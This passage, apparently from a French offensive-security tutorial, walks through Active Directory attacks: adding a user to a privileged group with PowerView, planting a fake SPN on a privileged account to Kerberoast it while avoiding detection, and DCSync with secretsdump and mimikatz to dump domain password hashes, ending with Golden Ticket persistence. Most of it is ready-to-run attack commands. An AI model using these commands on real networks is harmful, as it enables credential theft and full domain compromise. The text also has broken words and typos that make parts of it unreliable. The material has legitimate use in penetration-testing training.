1_ Comme souvent on commence par créé un objet d'identification pour notre compte :

```
PS C:\Rtb> $Nonmdp = ConvertTo-SecureString 'NOMDP!' -AsPlainText -Force
PS C:\Rtb> $ credential = New-Object System.Management.Automation.PSCreden
tial ('DOMAIN\username', $Nonmdp)
```

2_ Ensuite avec le cmdlet de PowerView on ajoute l'utilisateur au groupe privilégié su lequel il possède GenericWrite :

```
PS C:\Rtb> Add-DomainGroupMember -Identity 'Nom du Groupe' -Members 'use
privilégiépwn' -Credential $ credential -Verbose
```

• Imaginons maintenant que notre groupe est GenericAll sur un utilisateur privilégié. On peu evidemment changer son mot de pass mais c'est cramé et le but est d'être the GOST donc on va modifié l'attribut SPN en ajoutant un faux SPN à cet utilisateur on le rend "Kerberoastable" on peu ainsi récuperé un TGS chi ffré avec son hash et potentiellent reussir à le casser hors ligne..

Après bien sure avoir créé un objet d'identification pour notre compte on utilise u cmdlet de PowerView pour ajouter le SPN

```
PS C:\Rtb> Set-DomainObject -Credential $cred -Identity (usercible) -SET
@{serviceprincipalname='xxlol/LEGITKT'} -Verbose
```

Un petit coup de rubeus et on à le hash pret à être craqué...

DC Sync :

Cette attaque puissante tient de l'abus d'une fonctionnalité légitime d'Active D rectory. La permission cruciale pour l'attaque DCSync est DS-Replication-Get Changes-All, cette permission lorsque elle est accordé a un utilisateur ou a un ordinateur sur l'objet du domain lui donne le droit de demander la replicatio de toute les données y compris les informations secretes comme HashPages de mot de pa (à la base cette fonctionnalité permet a un DC de mettre à jours son NTDS. dit pa rapport à un autre DC ce droit est activé pour les administrateurs et controlleur de domain par défault) - Plusieurs outils peuvent être utilisés depuis Linux ou Wi dows pour s'authentifier auprès du DC et envoyé la requete de replication via le protocole DRS.

• Depuis un poste d'attaque Linux avec Impacket - Secretsdump

```
ftgentpathogen@parrot ~$ impacket-secretsdump -outputfile lol_Hashs
-just-dc DOMAIN/userprivilégié@IPduDC
```

• Depuis un poste d'attaque Windows avec Mimikatz il faut d'abord lancé un processus dans le contexte de l'utilisateur privilégié pour avoir l'authentification auprès du DC pour cet utilisateur

```
C:\Rtb> runas /netonly /user:DOMAIN\usernameprivilégié powershell
```

Ensuite avec mimikatz on cole le Hash de l'Administrator

```
mimikatz # lsadump::dcsync /domain:DOMAIN /user:DOMAIN\Administra
tor
```

Et voila avec cette attaque reussi on devient big boss du domain et on peu faire d la persistence avec du Golden Ticket ou autre joyeuseté.